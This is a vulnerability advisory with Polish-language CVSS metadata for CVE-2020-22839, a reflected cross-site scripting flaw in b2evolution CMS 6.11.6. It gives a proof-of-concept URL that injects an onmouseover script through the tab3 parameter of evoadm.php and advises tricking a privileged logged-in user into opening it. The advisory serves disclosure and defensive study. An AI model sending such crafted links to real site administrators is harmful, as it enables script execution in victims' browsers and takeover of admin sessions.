b2evolution CMS 6.11.6 Cross Site Scripting

2021-02-10 / 2021-02-11

Credit: Nakul Ratti

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-22839

CWE: CWE-79

Ogólna skala CVSS: 4.3/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Brak

Wpływ na integralność: Częściowy

Wpływ na dostępność: Brak

# Exploit Title: *Reflected XSS in b2evolution CMS 6.11.6 via tab3
parameter in evoadm.php*
# CVE : *CVE-2020-22839*
# Date: 10/02/2021
# Exploit Author: Nakul Ratti, Soham Bakore
# Vendor Homepage: https://b2evolution.net/
# Software Link:
https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux


Vulnerable File:
--------------------------
http://host/evoadm.php

Vulnerable Issue:
--------------------------
Tab3 parameter has no input validation.

--------------------------Proof of Concept-----------------------
Steps to Reproduce:

1. Send the following URL *http://HOST/evoadm.php <http://host/evoadm.php>?*
*.ctrl=comments&filter=restore&tab3=123%22onmouseover=%22alert(document.domain)%22&blog=1&blog=1*
to
the logged in victim using any social engineering technique.
2. When an unsuspecting user with high privileges opens this URL, XSS will
be triggered  which will execute the malicious javascript payload in users
browser.
3. The vulnerable parameter in this case is “*tab3*”.

See this note in RAW Version

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b2evolution CMS 6.11.6 Cross Site Scripting

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